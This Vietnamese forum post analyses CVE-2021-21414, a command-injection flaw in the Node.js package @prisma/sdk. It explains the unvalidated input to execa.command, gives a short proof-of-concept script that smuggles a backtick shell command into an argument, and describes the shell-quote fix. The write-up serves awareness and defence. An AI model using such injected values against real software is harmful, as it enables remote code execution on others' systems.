Khai thác lổ hỗng Remote code execution (RCE) trong Nodejs (Phần 2)

tuantran

Moderator
Thành viên BQT
27/04/2017
29
76 bài viết
Khai thác lổ hỗng Remote code execution (RCE) trong Nodejs (Phần 2)
Hi mọi người, trong bài viết trước với mục định tạo nhận thức cho mọi người về lỗ hổng RCE trong nodejs. Các bạn có thể đọc bài đó ở đây.

Với việc nodejs thịnh hành thì điều đó cũng có nghĩa là các package hay module của nodejs phát triển không kém. Vì vậy, việc các lổ hổng đến từ các package là điều không thể lơ là được.

Để chứng minh cho các lổ hỗng cũng có thể đến từ các module hay package thì mình sẽ làm phân tích CVE trong năm có thể dẫn đến lỗ hổng RCE:
CVE-2021-21414.png

Trong quá trình mình phân tích thì sẽ bao gồm các bước sau:
  • Tên module hay package bị lổ hổng
  • Nguyên nhân dẫn đến lỗ hổng
  • Khai thác lỗ hổng
  • Cách khắc phục
Bắt tay vào phân tích thôi nào:

CVE-2021-21414:


Module tên: @prisma/sdk
Nguyên nhân dẫn đến lổ hổng:

Đầu tiên hãy cùng nhau xem đoạn code bị bug trong hình:

1.png

Như trong hình thì trong getPackedPackage method có execa.command function có param (tham số) packCMD callback. Nhưng ở đây packdCMD không được validate( xác thực ) và nó chấp nhận tất cả các thông số mà người dùng nhập vào. Vậy nên nó sẽ có thể dùng để chạy bất kỳ cmd nào được nhập vào.

Cho những bạn chưa biết execa.command là gì: https://www.npmjs.com/package/execa thì execa là phiên bản cải thiện của child_process method trong nodejs.

Để chứng minh mình có thể khai thai được lổ hỗng này thì dưới đây là demo:

Đầu tiên, thì cài đặt paclkage:

Mã:
npm install @prisma/sdk

Tạo 1 file exploit.js với nội dung sau:

Mã:
const sdk = require("@prisma/sdk");

sdk.getPackedPackage("newbie", "Hello", "world`mkdir /tmp/exploit`");

Và chạy nó để xem kết quả:

Mã:
node exploit.js


Vậy để khắc phục nó thì làm thế nào?

Để khắc phục nó thì mình validate mọi dự liệu được nhập vào. Đối với các command lên thì nên escape hoặc là filter các cmd nguyên hiểm. Nhưng ở đây thì bên phía package dùng shell-quote để mà validate (xác thực) các cmd

Code fix:

2.png

Đây là thư viện shell-quote cho các bạn muốn tìm hiểu. https://www.npmjs.com/package/shell-quote

Vì vậy để phòng tránh rủi ro lỗ hổng RCE thì mình nên làm gì?
 
Chỉnh sửa lần cuối bởi người điều hành:
Thẻ
exploitation nodejs rce whitehat
Bên trên